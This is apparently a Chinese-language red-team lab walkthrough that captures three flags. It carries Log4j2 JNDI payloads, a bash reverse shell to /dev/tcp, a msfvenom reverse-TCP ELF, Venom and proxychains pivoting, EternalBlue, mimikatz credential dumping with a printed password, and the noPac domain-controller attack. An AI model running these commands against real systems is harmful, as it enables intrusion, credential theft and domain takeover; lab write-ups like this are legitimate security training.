外网打点
首先对web进行端口扫描,发现38080端口和22端口
[外链图片转存中...(img-qPf2FZ2W-1642591636344)]
访问一下38080端口发现是一个error page
[外链图片转存中...(img-tRfJ4QIr-1642591636357)]
用Wappalyzer看一下是什么架构,但是好像没有检测出来
[外链图片转存中...(img-xKGlLl6D-1642591636361)]
【一>所有资源获取<一】 1、电子书籍(白帽子) 2、安全大厂内部视频 3、100份src文档 4、常见安全面试题 5、ctf大赛经典题目解析 6、全套工具包 7、应急响应笔记 8、网络安全学习路线
拿着报错去百度上发现应该是springboot
[外链图片转存中...(img-0UYyXnbP-1642591636363)]
索性用goby再去扫一下,应该是spring没错,但是没有漏洞是什么操作?联想到最近出的log4j2的洞,可能他只是一个日志文件所以并没有框架
[外链图片转存中...(img-kCRLW4qi-1642591636378)]
[外链图片转存中...(img-HxIT5GSE-1642591636388)]
使用payload=${jndi:ldap://p9j8l8.dnslog.cn}
验证一下有回显证明存在漏洞
[外链图片转存中...(img-K1UMvtJR-1642591636390)]
尝试进一步利用漏洞,首先起一个ldap服务,ip为本地接收shell的ip地址
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.1.105
[外链图片转存中...(img-HSsVTb7a-1642591636410)]
抓包修改Content-Type: appllication/x-www-form-urlencoded
,并执行以下payload成功回显
payload=${jndi:ldap://192.168.1.105:1389/TomcatBypass/TomcatEcho}
[外链图片转存中...(img-PI8S3U8M-1642591636419)]
执行ls -al /
看一下也成功
[外链图片转存中...(img-zLBGcsYX-1642591636439)]
nc开启监听端口
[外链图片转存中...(img-iZcBubyz-1642591636442)]
然后使用bash命令反弹,这里需要先base64编码然后对编码后的特殊字符进行2层url转码
bash -i >& /dev/tcp/192.168.1.105/9999 0>&1
抓包添加payload=${jndi:ldap:1/192.168.199.140:1389/TomcatBypass/Command/Base64/二层转码之后的字符}
,即可得到反弹shell
[外链图片转存中...(img-3atEjvbc-1642591636444)]
进行信息搜集发现为docker环境,这里尝试了docker逃逸失败,那么继续进行信息搜集
[外链图片转存中...(img-BA26HPMM-1642591636486)]
在根目录下找到了第一个flag,这里有一个got this
,在之前端口扫描的时候看到开放了22端口,尝试使用ssh直接连接
[外链图片转存中...(img-2sTfYFuz-1642591636492)]
使用xshell尝试连接
[外链图片转存中...(img-KVLiLhjp-1642591636497)]
连接成功,拿到了宿主机的权限
[外链图片转存中...(img-rdiW9eE6-1642591636500)]
内网渗透
ifconfig查看网卡情况发现还有一张10.0.1.0/24段的网卡
[外链图片转存中...(img-nqJs9xD7-1642591636502)]
这里方便的话其实可以使用cs上线linux后用cs继续打,这里我就没有上线cs,使用linux的命令对10.0.1.0/24段探测存货主机
for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done
[外链图片转存中...(img-GMmoo3rU-1642591636509)]
ping一下是存活的
[外链图片转存中...(img-6d65RrW8-1642591636511)]
使用毒液把流量代理出来,首先开启监听
admin.exe -lport 7777
[外链图片转存中...(img-0eeB8BWs-1642591636514)]
然后上传agent_linux到靶机上
[外链图片转存中...(img-18KCWooI-1642591636519)]
加权并执行
chmod 777 agent_linux_x86
agent_linux_x86 -rhost 192.168.1.105 -rport 7777
[外链图片转存中...(img-Y5aoqKC4-1642591636522)]
连接成功
这里本来准备用毒液的代理到msf打的,后面觉得比较麻烦,就直接用kali生成的elf马上线msf了
首先生成一个32位的elf马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf
[外链图片转存中...(img-eDwrWsOa-1642591636534)]
然后加权并执行
chmod 777 shell.elf
./shell
kali使用exploit/multi/handler
进行监听
[外链图片转存中...(img-xRvDnIUY-1642591636544)]
获取到宿主机的shell
[外链图片转存中...(img-aPe8ImB9-1642591636547)]
然后添加10.0.1.0/24段的路由
bg
route add 10.0.1.0 255.255.255.0 1
route print
[外链图片转存中...(img-bv4dbsPJ-1642591636582)]
然后配置proxychain4.conf
文件并使用socks模块
search socks
use auxiliary/sevrer/socks_proxy
run
[外链图片转存中...(img-HDRye6hv-1642591636589)]
我们在之前已经知道了内网主机的ip,那么这里我们直接使用proxychain配合nmap对10.0.1.7的端口进行扫描
proxychains4 nmap -sT -Pn 10.0.1.7
[外链图片转存中...(img-hqvW6EQH-1642591636591)]
发现有445端口,那么对445端口进一步扫描
[外链图片转存中...(img-Sr9oCxwR-1642591636594)]
先确定一下系统版本,使用auxiliary/scanner/smb/smb_version
模块,发现是win7 sp1
[外链图片转存中...(img-Dd2oTg4X-1642591636607)]
看能不能利用永恒之蓝,这里使用到auxiliary/scanner/smb/smb_ms17_010
模块,发现可以利用永恒之蓝
[外链图片转存中...(img-eOUbBoYC-1642591636612)]
使用exploit/windows/smb/ms17_010_eternalbule
模块,因为是不出网环境,这里需要用到bind_tcp
载荷
[外链图片转存中...(img-ODNBOj8T-1642591636618)]
run之后拿到一个system权限的meterpreter
[外链图片转存中...(img-kvKc7qob-1642591636622)]
在C:\Users\root\Desktop
下拿到第二个flag
[外链图片转存中...(img-SwcYG32d-1642591636623)]
然后继续进行信息搜集,发现同样是双网卡,还存在10.0.0.0/24段的一张网卡
[外链图片转存中...(img-v0oTlEWD-1642591636626)]
ipconfig /all看到dns服务器为redteam.lab
应该在域内
[外链图片转存中...(img-IkMbvhuC-1642591636628)]
这里ping一下redteam.lab
得到域控的ip为10.0.0.12
[外链图片转存中...(img-bNswuAyW-1642591636637)]
这里不知道域控有什么洞,先上传一个mimikatz把密码抓取出来,得到Administrator/Admin12345
,这里其实就可以使用域管账户ipc直接连接,但是这里抓到了一个域用户,尝试使用最新的CVE-2021-42287、CVE-2021-42278来进行攻击
privilege::debug
sekurlsa::logonpasswords
[外链图片转存中...(img-cP0qfyAx-1642591636639)]
[外链图片转存中...(img-ShDoVNlZ-1642591636641)]
这里我准备使用noPac.exe直接去获取一个shell的,但是这里noPac.exe的利用条件是需要主机上有.net4.0环境,所以这里没有回显
[外链图片转存中...(img-j1UrsQ77-1642591636643)]
本来准备一步一步的用原始的方法打的,但是powershell用不了没有回显,就写一下原始利用的步骤吧
- 首先创建一个机器账户,可以使用 impacket 的
addcomputer.py
或是powermad
`addcomputer.py`是利用`SAMR协议`创建机器账户,这个方法所创建的机器账户没有SPN,所以可以不用清除
- 清除机器账户的
servicePrincipalName
属性
- 将机器账户的
sAMAccountName
,更改为DC的机器账户名字,注意后缀不带$
- 为机器账户请求TGT
- 将机器账户的
sAMAccountName
更改为其他名字,不与步骤3重复即可
- 通过S4U2self协议向DC请求ST
- 进行 DCsync Attack
[外链图片转存中...(img-nzrt4OrS-1642591636652)]
这里直接使用sam_the_admin.py进行攻击
proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell
[外链图片转存中...(img-ZNGQKWzW-1642591636656)]
即可拿到DC的shell
[外链图片转存中...(img-PXlCxF8e-1642591636660)]
在C:\Users\Administrator\Desktop
下找到最后一个flag
[外链图片转存中...(img-ipyYJxlY-1642591636667)]